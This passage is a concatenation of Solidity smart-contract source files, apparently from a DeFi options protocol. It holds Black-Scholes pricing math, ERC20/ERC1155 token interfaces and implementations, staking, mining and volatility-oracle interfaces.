.newPoolState .sub(args.oldPoolState) .div(args.oldPoolState) .mul(args.steepness64x64); int128 tradingDelta64x64 = deltaPoolState64x64.neg().exp(); int128 blackScholesPrice64x64 = _blackScholesPrice( args.varianceAnnualized64x64, args.strike64x64, args.spot64x64, args.timeToMaturity64x64, args.isCall ); cLevel64x64 = tradingDelta64x64.mul(args.oldCLevel64x64); slippageCoefficient64x64 = ONE_64x64.sub(tradingDelta64x64).div( deltaPoolState64x64 ); premiaPrice64x64 = blackScholesPrice64x64.mul(cLevel64x64).mul( slippageCoefficient64x64 ); int128 intrinsicValue64x64; if (args.isCall && args.strike64x64 < args.spot64x64) { intrinsicValue64x64 = args.spot64x64.sub(args.strike64x64); } else if (!args.isCall && args.strike64x64 > args.spot64x64) { intrinsicValue64x64 = args.strike64x64.sub(args.spot64x64); } int128 collateralValue64x64 = args.isCall ? args.spot64x64 : args.strike64x64; int128 minPrice64x64 = intrinsicValue64x64.add( collateralValue64x64.mul(args.minAPY64x64).mul( args.timeToMaturity64x64 ) ); if (minPrice64x64 > premiaPrice64x64) { premiaPrice64x64 = minPrice64x64; } } /** * @notice calculate the decay of C-Level based on heat diffusion function * @param args structured CalculateCLevelDecayArgs * @return cLevelDecayed64x64 C-Level after accounting for decay */ function calculateCLevelDecay(CalculateCLevelDecayArgs memory args) external pure returns (int128 cLevelDecayed64x64) { int128 convFHighU64x64 = (args.utilization64x64 >= args.utilizationUpperBound64x64 && args.oldCLevel64x64 <= args.cLevelLowerBound64x64) ? ONE_64x64 : int128(0); int128 convFLowU64x64 = (args.utilization64x64 <= args.utilizationLowerBound64x64 && args.oldCLevel64x64 >= args.cLevelUpperBound64x64) ? ONE_64x64 : int128(0); cLevelDecayed64x64 = args .oldCLevel64x64 .sub(args.cConvergenceULowerBound64x64.mul(convFLowU64x64)) .sub(args.cConvergenceUUpperBound64x64.mul(convFHighU64x64)) .mul( convFLowU64x64 .mul(ONE_64x64.sub(args.utilization64x64)) .add(convFHighU64x64.mul(args.utilization64x64)) .mul(args.timeIntervalsElapsed64x64) .neg() .exp() ) .add( args.cConvergenceULowerBound64x64.mul(convFLowU64x64).add( args.cConvergenceUUpperBound64x64.mul(convFHighU64x64) ) ); } /** * @notice calculate the exponential decay coefficient for a given interval * @param oldTimestamp timestamp of previous update * @param newTimestamp current timestamp * @return 64x64 fixed point representation of exponential decay coefficient */ function _decay(uint256 oldTimestamp, uint256 newTimestamp) internal pure returns (int128) { return ONE_64x64.sub( (-ABDKMath64x64.divu(newTimestamp - oldTimestamp, 7 days)).exp() ); } /** * @notice calculate Choudhury’s approximation of the Black-Scholes CDF * @param input64x64 64x64 fixed point representation of random variable * @return 64x64 fixed point representation of the approximated CDF of x */ function _N(int128 input64x64) internal pure returns (int128) { // squaring via mul is cheaper than via pow int128 inputSquared64x64 = input64x64.mul(input64x64); int128 value64x64 = (-inputSquared64x64 >> 1).exp().div( CDF_CONST_0.add(CDF_CONST_1.mul(input64x64.abs())).add( CDF_CONST_2.mul(inputSquared64x64.add(THREE_64x64).sqrt()) ) ); return input64x64 > 0 ? ONE_64x64.sub(value64x64) : value64x64; } /** * @notice calculate the price of an option using the Black-Scholes model * @param varianceAnnualized64x64 64x64 fixed point representation of annualized variance * @param strike64x64 64x64 fixed point representation of strike price * @param spot64x64 64x64 fixed point representation of spot price * @param timeToMaturity64x64 64x64 fixed point representation of duration of option contract (in years) * @param isCall whether to price "call" or "put" option * @return 64x64 fixed point representation of Black-Scholes option price */ function _blackScholesPrice( int128 varianceAnnualized64x64, int128 strike64x64, int128 spot64x64, int128 timeToMaturity64x64, bool isCall ) internal pure returns (int128) { int128 cumulativeVariance64x64 = timeToMaturity64x64.mul( varianceAnnualized64x64 ); int128 cumulativeVarianceSqrt64x64 = cumulativeVariance64x64.sqrt(); int128 d1_64x64 = spot64x64 .div(strike64x64) .ln() .add(cumulativeVariance64x64 >> 1) .div(cumulativeVarianceSqrt64x64); int128 d2_64x64 = d1_64x64.sub(cumulativeVarianceSqrt64x64); if (isCall) { return spot64x64.mul(_N(d1_64x64)).sub(strike64x64.mul(_N(d2_64x64))); } else { return -spot64x64.mul(_N(-d1_64x64)).sub( strike64x64.mul(_N(-d2_64x64)) ); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Contract ownership standard interface * @dev see https://eips.ethereum.org/EIPS/eip-173 */ interface IERC173 { event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @notice get the ERC173 contract owner * @return conract owner */ function owner() external view returns (address); /** * @notice transfer contract ownership to new account * @param account address of new owner */ function transferOwnership(address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library OwnableStorage { struct Layout { address owner; } bytes32 internal constant STORAGE_SLOT = keccak256('solidstate.contracts.storage.Ownable'); function layout() internal pure returns (Layout storage l) { bytes32 slot = STORAGE_SLOT; assembly { l.slot := slot } } function setOwner(Layout storage l, address owner) internal { l.owner = owner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IERC20Internal } from './IERC20Internal.sol'; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 is IERC20Internal { /** * @notice query the total minted token supply * @return token supply */ function totalSupply() external view returns (uint256); /** * @notice query the token balance of given account * @param account address to query * @return token balance */ function balanceOf(address account) external view returns (uint256); /** * @notice query the allowance granted from given holder to given spender * @param holder approver of allowance * @param spender recipient of allowance * @return token allowance */ function allowance(address holder, address spender) external view returns (uint256); /** * @notice grant approval to spender to spend tokens * @dev prefer ERC20Extended functions to avoid transaction-ordering vulnerability (see https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729) * @param spender recipient of allowance * @param amount quantity of tokens approved for spending * @return success status (always true; otherwise function should revert) */ function approve(address spender, uint256 amount) external returns (bool); /** * @notice transfer tokens to given recipient * @param recipient beneficiary of token transfer * @param amount quantity of tokens to transfer * @return success status (always true; otherwise function should revert) */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @notice transfer tokens to given recipient on behalf of given holder * @param holder holder of tokens prior to transfer * @param recipient beneficiary of token transfer * @param amount quantity of tokens to transfer * @return success status (always true; otherwise function should revert) */ function transferFrom( address holder, address recipient, uint256 amount ) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { EnumerableSet } from '../../../utils/EnumerableSet.sol'; import { ERC1155Base, ERC1155BaseInternal } from '../base/ERC1155Base.sol'; import { IERC1155Enumerable } from './IERC1155Enumerable.sol'; import { ERC1155EnumerableInternal, ERC1155EnumerableStorage } from './ERC1155EnumerableInternal.sol'; /** * @title ERC1155 implementation including enumerable and aggregate functions */ abstract contract ERC1155Enumerable is IERC1155Enumerable, ERC1155Base, ERC1155EnumerableInternal { using EnumerableSet for EnumerableSet.AddressSet; using EnumerableSet for EnumerableSet.UintSet; /** * @inheritdoc IERC1155Enumerable */ function totalSupply(uint256 id) public view virtual override returns (uint256) { return _totalSupply(id); } /** * @inheritdoc IERC1155Enumerable */ function totalHolders(uint256 id) public view virtual override returns (uint256) { return _totalHolders(id); } /** * @inheritdoc IERC1155Enumerable */ function accountsByToken(uint256 id) public view virtual override returns (address[] memory) { return _accountsByToken(id); } /** * @inheritdoc IERC1155Enumerable */ function tokensByAccount(address account) public view virtual override returns (uint256[] memory) { return _tokensByAccount(account); } /** * @notice ERC1155 hook: update aggregate values * @inheritdoc ERC1155EnumerableInternal */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override(ERC1155BaseInternal, ERC1155EnumerableInternal) { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IERC20 } from '../token/ERC20/IERC20.sol'; import { IERC20Metadata } from '../token/ERC20/metadata/IERC20Metadata.sol'; /** * @title WETH (Wrapped ETH) interface */ interface IWETH is IERC20, IERC20Metadata { /** * @notice convert ETH to WETH */ function deposit() external payable; /** * @notice convert WETH to ETH * @dev if caller is a contract, it should have a fallback or receive function * @param amount quantity of WETH to convert, denominated in wei */ function withdraw(uint256 amount) external; } // SPDX-License-Identifier: LGPL-3.0-or-later pragma solidity ^0.8.0; import {FeeDiscountStorage} from "./FeeDiscountStorage.sol"; interface IFeeDiscount { event Staked( address indexed user, uint256 amount, uint256 stakePeriod, uint256 lockedUntil ); event Unstaked(address indexed user, uint256 amount); struct StakeLevel { uint256 amount; // Amount to stake uint256 discount; // Discount when amount is reached } /** * @notice Stake using IERC2612 permit * @param amount The amount of xPremia to stake * @param period The lockup period (in seconds) * @param deadline Deadline after which permit will fail * @param v V * @param r R * @param s S */ function stakeWithPermit( uint256 amount, uint256 period, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @notice Lockup xPremia for protocol fee discounts * Longer period of locking will apply a multiplier on the amount staked, in the fee discount calculation * @param amount The amount of xPremia to stake * @param period The lockup period (in seconds) */ function stake(uint256 amount, uint256 period) external; /** * @notice Unstake xPremia (If lockup period has ended) * @param amount The amount of xPremia to unstake */ function unstake(uint256 amount) external; ////////// // View // ////////// /** * Calculate the stake amount of a user, after applying the bonus from the lockup period chosen * @param user The user from which to query the stake amount * @return The user stake amount after applying the bonus */ function getStakeAmountWithBonus(address user) external view returns (uint256); /** * @notice Calculate the % of fee discount for user, based on his stake * @param user The _user for which the discount is for * @return Percentage of protocol fee discount (in basis point) * Ex : 1000 = 10% fee discount */ function getDiscount(address user) external view returns (uint256); /** * @notice Get stake levels * @return Stake levels * Ex : 2500 = -25% */ function getStakeLevels() external returns (StakeLevel[] memory); /** * @notice Get stake period multiplier * @param period The duration (in seconds) for which tokens are locked * @return The multiplier for this staking period * Ex : 20000 = x2 */ function getStakePeriodMultiplier(uint256 period) external returns (uint256); /** * @notice Get staking infos of a user * @param user The user address for which to get staking infos * @return The staking infos of the user */ function getUserInfo(address user) external view returns (FeeDiscountStorage.UserInfo memory); } // SPDX-License-Identifier: LGPL-3.0-or-later pragma solidity ^0.8.0; interface IPoolEvents { event Purchase( address indexed user, uint256 longTokenId, uint256 contractSize, uint256 baseCost, uint256 feeCost, int128 spot64x64 ); event Exercise( address indexed user, uint256 longTokenId, uint256 contractSize, uint256 exerciseValue, uint256 fee ); event Underwrite( address indexed underwriter, address indexed longReceiver, uint256 shortTokenId, uint256 intervalContractSize, uint256 intervalPremium, bool isManualUnderwrite ); event AssignExercise( address indexed underwriter, uint256 shortTokenId, uint256 freedAmount, uint256 intervalContractSize, uint256 fee ); event Deposit(address indexed user, bool isCallPool, uint256 amount); event Withdrawal( address indexed user, bool isCallPool, uint256 depositedAt, uint256 amount ); event FeeWithdrawal(bool indexed isCallPool, uint256 amount); event Annihilate(uint256 shortTokenId, uint256 amount); event UpdateCLevel( bool indexed isCall, int128 cLevel64x64, int128 oldLiquidity64x64, int128 newLiquidity64x64 ); event UpdateSteepness(int128 steepness64x64, bool isCallPool); } // SPDX-License-Identifier: LGPL-3.0-or-later pragma solidity ^0.8.0; import {PremiaMiningStorage} from "./PremiaMiningStorage.sol"; interface IPremiaMining { function addPremiaRewards(uint256 _amount) external; function premiaRewardsAvailable() external view returns (uint256); function getTotalAllocationPoints() external view returns (uint256); function getPoolInfo(address pool, bool isCallPool) external view returns (PremiaMiningStorage.PoolInfo memory); function getPremiaPerYear() external view returns (uint256); function addPool(address _pool, uint256 _allocPoints) external; function setPoolAllocPoints( address[] memory _pools, uint256[] memory _allocPoints ) external; function pendingPremia( address _pool, bool _isCallPool, address _user ) external view returns (uint256); function updatePool( address _pool, bool _isCallPool, uint256 _totalTVL ) external; function allocatePending( address _user, address _pool, bool _isCallPool, uint256 _userTVLOld, uint256 _userTVLNew, uint256 _totalTVL ) external; function claim( address _user, address _pool, bool _isCallPool, uint256 _userTVLOld, uint256 _userTVLNew, uint256 _totalTVL ) external; } // SPDX-License-Identifier: LGPL-3.0-or-later pragma solidity ^0.8.0; import {VolatilitySurfaceOracleStorage} from "./VolatilitySurfaceOracleStorage.sol"; interface IVolatilitySurfaceOracle { function getWhitelistedRelayers() external view returns (address[] memory); function getVolatilitySurface(address baseToken, address underlyingToken) external view returns (VolatilitySurfaceOracleStorage.Update memory); function getVolatilitySurfaceCoefficientsUnpacked( address baseToken, address underlyingToken, bool isCall ) external view returns (int256[] memory); function getTimeToMaturity64x64(uint64 maturity) external view returns (int128); function getAnnualizedVolatility64x64( address baseToken, address underlyingToken, int128 spot64x64, int128 strike64x64, int128 timeToMaturity64x64, bool isCall ) external view returns (int128); function getBlackScholesPrice64x64( address baseToken, address underlyingToken, int128 strike64x64, int128 spot64x64, int128 timeToMaturity64x64, bool isCall ) external view returns (int128); function getBlackScholesPrice( address baseToken, address underlyingToken, int128 strike64x64, int128 spot64x64, int128 timeToMaturity64x64, bool isCall ) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Partial ERC20 interface needed by internal functions */ interface IERC20Internal { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IERC1155 } from '../IERC1155.sol'; import { IERC1155Receiver } from '../IERC1155Receiver.sol'; import { ERC1155BaseInternal, ERC1155BaseStorage } from './ERC1155BaseInternal.sol'; /** * @title Base ERC1155 contract * @dev derived from https://github.com/OpenZeppelin/openzeppelin-contracts/ (MIT license) */ abstract contract ERC1155Base is IERC1155, ERC1155BaseInternal { /** * @inheritdoc IERC1155 */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { return _balanceOf(account, id); } /** * @inheritdoc IERC1155 */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require( accounts.length == ids.length, 'ERC1155: accounts and ids length mismatch' ); mapping(uint256 => mapping(address => uint256)) storage balances = ERC1155BaseStorage.layout().balances; uint256[] memory batchBalances = new uint256[](accounts.length); unchecked { for (uint256 i; i < accounts.length; i++) { require( accounts[i] != address(0), 'ERC1155: batch balance query for the zero address' ); batchBalances[i] = balances[ids[i]][accounts[i]]; } } return batchBalances; } /** * @inheritdoc IERC1155 */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return ERC1155BaseStorage.layout().operatorApprovals[account][operator]; } /** * @inheritdoc IERC1155 */ function setApprovalForAll(address operator, bool status) public virtual override { require( msg.sender != operator, 'ERC1155: setting approval status for self' ); ERC1155BaseStorage.layout().operatorApprovals[msg.sender][ operator ] = status; emit ApprovalForAll(msg.sender, operator, status); } /** * @inheritdoc IERC1155 */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == msg.sender || isApprovedForAll(from, msg.sender), 'ERC1155: caller is not owner nor approved' ); _safeTransfer(msg.sender, from, to, id, amount, data); } /** * @inheritdoc IERC1155 */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == msg.sender || isApprovedForAll(from, msg.sender), 'ERC1155: caller is not owner nor approved' ); _safeTransferBatch(msg.sender, from, to, ids, amounts, data); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC1155 enumerable and aggregate function interface */ interface IERC1155Enumerable { /** * @notice query total minted supply of given token * @param id token id to query * @return token supply */ function totalSupply(uint256 id) external view returns (uint256); /** * @notice query total number of holders for given token * @param id token id to query * @return quantity of holders */ function totalHolders(uint256 id) external view returns (uint256); /** * @notice query holders of given token * @param id token id to query * @return list of holder addresses */ function accountsByToken(uint256 id) external view returns (address[] memory); /** * @notice query tokens held by given address * @param account address to query * @return list of token ids */ function tokensByAccount(address account) external view returns (uint256[] memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { EnumerableSet } from '../../../utils/EnumerableSet.sol'; import { ERC1155BaseInternal, ERC1155BaseStorage } from '../base/ERC1155BaseInternal.sol'; import { ERC1155EnumerableStorage } from './ERC1155EnumerableStorage.sol'; /** * @title ERC1155Enumerable internal functions */ abstract contract ERC1155EnumerableInternal is ERC1155BaseInternal { using EnumerableSet for EnumerableSet.AddressSet; using EnumerableSet for EnumerableSet.UintSet; /** * @notice query total minted supply of given token * @param id token id to query * @return token supply */ function _totalSupply(uint256 id) internal view returns (uint256) { return ERC1155EnumerableStorage.layout().totalSupply[id]; } /** * @notice query total number of holders for given token * @param id token id to query * @return quantity of holders */ function _totalHolders(uint256 id) internal view returns (uint256) { return ERC1155EnumerableStorage.layout().accountsByToken[id].length(); } /** * @notice query holders of given token * @param id token id to query * @return list of holder addresses */ function _accountsByToken(uint256 id) internal view returns (address[] memory) { EnumerableSet.AddressSet storage accounts = ERC1155EnumerableStorage .layout() .accountsByToken[id]; address[] memory addresses = new address[](accounts.length()); for (uint256 i; i < accounts.length(); i++) { addresses[i] = accounts.at(i); } return addresses; } /** * @notice query tokens held by given address * @param account address to query * @return list of token ids */ function _tokensByAccount(address account) internal view returns (uint256[] memory) { EnumerableSet.UintSet storage tokens = ERC1155EnumerableStorage .layout() .tokensByAccount[account]; uint256[] memory ids = new uint256[](tokens.length()); for (uint256 i; i < tokens.length(); i++) { ids[i] = tokens.at(i); } return ids; } /** * @notice ERC1155 hook: update aggregate values * @inheritdoc ERC1155BaseInternal */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); if (from != to) { ERC1155EnumerableStorage.Layout storage l = ERC1155EnumerableStorage .layout(); mapping(uint256 => EnumerableSet.AddressSet) storage tokenAccounts = l.accountsByToken; EnumerableSet.UintSet storage fromTokens = l.tokensByAccount[from]; EnumerableSet.UintSet storage toTokens = l.tokensByAccount[to]; for (uint256 i; i < ids.length; i++) { uint256 amount = amounts[i]; if (amount > 0) { uint256 id = ids[i]; if (from == address(0)) { l.totalSupply[id] += amount; } else if (_balanceOf(from, id) == amount) { tokenAccounts[id].remove(from); fromTokens.remove(id); } if (to == address(0)) { l.totalSupply[id] -= amount; } else if (_balanceOf(to, id) == 0) { tokenAccounts[id].add(to); toTokens.add(id); } } } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IERC1155Internal } from './IERC1155Internal.sol'; import { IERC165 } from '../../introspection/IERC165.sol'; /** * @notice ERC1155 interface * @dev see https://github.com/ethereum/EIPs/issues/1155 */ interface IERC1155 is IERC1155Internal, IERC165 { /** * @notice query the balance of given token held by given address * @param account address to query * @param id token to query * @return token balance */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @notice query the balances of given tokens held by given addresses * @param accounts addresss to query * @param ids tokens to query * @return token balances */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @notice query approval status of given operator with respect to given address * @param account address to query for approval granted * @param operator address to query for approval received * @return whether operator is approved to spend tokens held by account */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @notice grant approval to or revoke approval from given operator to spend held tokens * @param operator address whose approval status to update * @param status whether operator should be considered approved */ function setApprovalForAll(address operator, bool status) external; /** * @notice transfer tokens between given addresses, checking for ERC1155Receiver implementation if applicable * @param from sender of tokens * @param to receiver of tokens * @param id token ID * @param amount quantity of tokens to transfer * @param data data payload */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @notice transfer batch of tokens between given addresses, checking for ERC1155Receiver implementation if applicable * @param from sender of tokens * @param to receiver of tokens * @param ids list of token IDs * @param amounts list of quantities of tokens to transfer * @param data data payload */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IERC165 } from '../../introspection/IERC165.sol'; /** * @title ERC1155 transfer receiver interface */ interface IERC1155Receiver is IERC165 { /** * @notice validate receipt of ERC1155 transfer * @param operator executor of transfer * @param from sender of tokens * @param id token ID received * @param value quantity of tokens received * @param data data payload * @return function's own selector if transfer is accepted */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @notice validate receipt of ERC1155 batch transfer * @param operator executor of transfer * @param from sender of tokens * @param ids token IDs received * @param values quantities of tokens received * @param data data payload * @return function's own selector if transfer is accepted */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { AddressUtils } from '../../../utils/AddressUtils.sol'; import { IERC1155Internal } from '../IERC1155Internal.sol'; import { IERC1155Receiver } from '../IERC1155Receiver.sol'; import { ERC1155BaseStorage } from './ERC1155BaseStorage.sol'; /** * @title Base ERC1155 internal functions * @dev derived from https://github.com/OpenZeppelin/openzeppelin-contracts/ (MIT license) */ abstract contract ERC1155BaseInternal is IERC1155Internal { using AddressUtils for address; /** * @notice query the balance of given token held by given address * @param account address to query * @param id token to query * @return token balance */ function _balanceOf(address account, uint256 id) internal view virtual returns (uint256) { require( account != address(0), 'ERC1155: balance query for the zero address' ); return ERC1155BaseStorage.layout().balances[id][account]; } /** * @notice mint given quantity of tokens for given address * @dev ERC1155Receiver implementation is not checked * @param account beneficiary of minting * @param id token ID * @param amount quantity of tokens to mint * @param data data payload */ function _mint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(account != address(0), 'ERC1155: mint to the zero address'); _beforeTokenTransfer( msg.sender, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data ); mapping(address => uint256) storage balances = ERC1155BaseStorage .layout() .balances[id]; balances[account] += amount; emit TransferSingle(msg.sender, address(0), account, id, amount); } /** * @notice mint given quantity of tokens for given address * @param account beneficiary of minting * @param id token ID * @param amount quantity of tokens to mint * @param data data payload */ function _safeMint( address account, uint256 id, uint256 amount, bytes memory data ) internal virtual { _mint(account, id, amount, data); _doSafeTransferAcceptanceCheck( msg.sender, address(0), account, id, amount, data ); } /** * @notice mint batch of tokens for given address * @dev ERC1155Receiver implementation is not checked * @param account beneficiary of minting * @param ids list of token IDs * @param amounts list of quantities of tokens to mint * @param data data payload */ function _mintBatch( address account, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(account != address(0), 'ERC1155: mint to the zero address'); require( ids.length == amounts.length, 'ERC1155: ids and amounts length mismatch' ); _beforeTokenTransfer( msg.sender, address(0), account, ids, amounts, data ); mapping(uint256 => mapping(address => uint256)) storage balances = ERC1155BaseStorage.layout().balances; for (uint256 i; i < ids.length; i++) { balances[ids[i]][account] += amounts[i]; } emit TransferBatch(msg.sender, address(0), account, ids, amounts); } /** * @notice mint batch of tokens for given address * @param account beneficiary of minting * @param ids list of token IDs * @param amounts list of quantities of tokens to mint * @param data data payload */ function _safeMintBatch( address account, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { _mintBatch(account, ids, amounts, data); _doSafeBatchTransferAcceptanceCheck( msg.sender, address(0), account, ids, amounts, data ); } /** * @notice burn given quantity of tokens held by given address * @param account holder of tokens to burn * @param id token ID * @param amount quantity of tokens to burn */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), 'ERC1155: burn from the zero address'); _beforeTokenTransfer( msg.sender, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), '' ); mapping(address => uint256) storage balances = ERC1155BaseStorage .layout() .balances[id]; unchecked { require( balances[account] >= amount, 'ERC1155: burn amount exceeds balances' ); balances[account] -= amount; } emit TransferSingle(msg.sender, account, address(0), id, amount); } /** * @notice burn given batch of tokens held by given address * @param account holder of tokens to burn * @param ids token IDs * @param amounts quantities of tokens to burn */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), 'ERC1155: burn from the zero address'); require( ids.length == amounts.length, 'ERC1155: ids and amounts length mismatch' ); _beforeTokenTransfer(msg.sender, account, address(0), ids, amounts, ''); mapping(uint256 => mapping(address => uint256)) storage balances = ERC1155BaseStorage.layout().balances; unchecked { for (uint256 i; i < ids.length; i++) { uint256 id = ids[i]; require( balances[id][account] >= amounts[i], 'ERC1155: burn amount exceeds balance' ); balances[id][account] -= amounts[i]; } } emit TransferBatch(msg.sender, account, address(0), ids, amounts); } /** * @notice transfer tokens between given addresses * @dev ERC1155Receiver implementation is not checked * @param operator executor of transfer * @param sender sender of tokens * @param recipient receiver of tokens * @param id token ID * @param amount quantity of tokens to transfer * @param data data payload */ function _transfer( address operator, address sender, address recipient, uint256 id, uint256 amount, bytes memory data ) internal virtual { require( recipient != address(0), 'ERC1155: transfer to the zero address' ); _beforeTokenTransfer( operator, sender, recipient, _asSingletonArray(id), _asSingletonArray(amount), data ); mapping(uint256 => mapping(address => uint256)) storage balances = ERC1155BaseStorage.layout().balances; unchecked { uint256 senderBalance = balances[id][sender]; require( senderBalance >= amount, 'ERC1155: insufficient balances for transfer' ); balances[id][sender] = senderBalance - amount; } balances[id][recipient] += amount; emit TransferSingle(operator, sender, recipient, id, amount); } /** * @notice transfer tokens between given addresses * @param operator executor of transfer * @param sender sender of tokens * @param recipient receiver of tokens * @param id token ID * @param amount quantity of tokens to transfer * @param data data payload */ function _safeTransfer( address operator, address sender, address recipient, uint256 id, uint256 amount, bytes memory data ) internal virtual { _transfer(operator, sender, recipient, id, amount, data); _doSafeTransferAcceptanceCheck( operator, sender, recipient, id, amount, data ); } /** * @notice transfer batch of tokens between given addresses * @dev ERC1155Receiver implementation is not checked * @param operator executor of transfer * @param sender sender of tokens * @param recipient receiver of tokens * @param ids token IDs * @param amounts quantities of tokens to transfer * @param data data payload */ function _transferBatch( address operator, address sender, address recipient, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require( recipient != address(0), 'ERC1155: transfer to the zero address' ); require( ids.length == amounts.length, 'ERC1155: ids and amounts length mismatch' ); _beforeTokenTransfer(operator, sender, recipient, ids, amounts, data); mapping(uint256 => mapping(address => uint256)) storage balances = ERC1155BaseStorage.layout().balances; for (uint256 i; i < ids.length; i++) { uint256 token = ids[i]; uint256 amount = amounts[i]; unchecked { uint256 senderBalance = balances[token][sender]; require( senderBalance >= amount, 'ERC1155: insufficient balances for transfer' ); balances[token][sender] = senderBalance - amount; } balances[token][recipient] += amount; } emit TransferBatch(operator, sender, recipient, ids, amounts); } /** * @notice transfer batch of tokens between given addresses * @param operator executor of transfer * @param sender sender of tokens * @param recipient receiver of tokens * @param ids token IDs * @param amounts quantities of tokens to transfer * @param data data payload */ function _safeTransferBatch( address operator, address sender, address recipient, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { _transferBatch(operator, sender, recipient, ids, amounts, data); _doSafeBatchTransferAcceptanceCheck( operator, sender, recipient, ids, amounts, data ); } /** * @notice wrap given element in array of length 1 * @param element element to wrap * @return singleton array */ function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } /** * @notice revert if applicable transfer recipient is not valid ERC1155Receiver * @param operator executor of transfer * @param from sender of tokens * @param to receiver of tokens * @param id token ID * @param amount quantity of tokens to transfer * @param data data payload */ function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received( operator, from, id, amount, data ) returns (bytes4 response) { require( response == IERC1155Receiver.onERC1155Received.selector, 'ERC1155: ERC1155Receiver rejected tokens' ); } catch Error(string memory reason) { revert(reason); } catch { revert('ERC1155: transfer to non ERC1155Receiver implementer'); } } } /** * @notice revert if applicable transfer recipient is not valid ERC1155Receiver * @param operator executor of transfer * @param from sender of tokens * @param to receiver of tokens * @param ids token IDs * @param amounts quantities of tokens to transfer * @param data data payload */ function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived( operator, from, ids, amounts, data ) returns (bytes4 response) { require( response == IERC1155Receiver.onERC1155BatchReceived.selector, 'ERC1155: ERC1155Receiver rejected tokens' ); } catch Error(string memory reason) { revert(reason); } catch { revert('ERC1155: transfer to non ERC1155Receiver implementer'); } } } /** * @notice ERC1155 hook, called before all transfers including mint and burn * @dev function should be overridden and new implementation must call super * @dev called for both single and batch transfers * @param operator executor of transfer * @param from sender of tokens * @param to receiver of tokens * @param ids token IDs * @param amounts quantities of tokens to transfer * @param data data payload */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { IERC165 } from '../../introspection/IERC165.sol'; /** * @notice Partial ERC1155 interface needed by internal functions */ interface IERC1155Internal { event TransferSingle( address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value ); event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); event ApprovalForAll( address indexed account, address indexed operator, bool approved ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC165 interface registration interface * @dev see https://eips.ethereum.org/EIPS/eip-165 */ interface IERC165 { /** * @notice query whether contract has registered support for given interface * @param interfaceId interface id * @return bool whether interface is supported */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library AddressUtils { function toString(address account) internal pure returns (string memory) { bytes32 value = bytes32(uint256(uint160(account))); bytes memory alphabet = '0123456789abcdef'; bytes memory chars = new bytes(42); chars[0] = '0'; chars[1] = 'x'; for (uint256 i = 0; i < 20; i++) { chars[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)]; chars[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)]; } return string(chars); } function isContract(address account) internal view returns (bool) { uint256 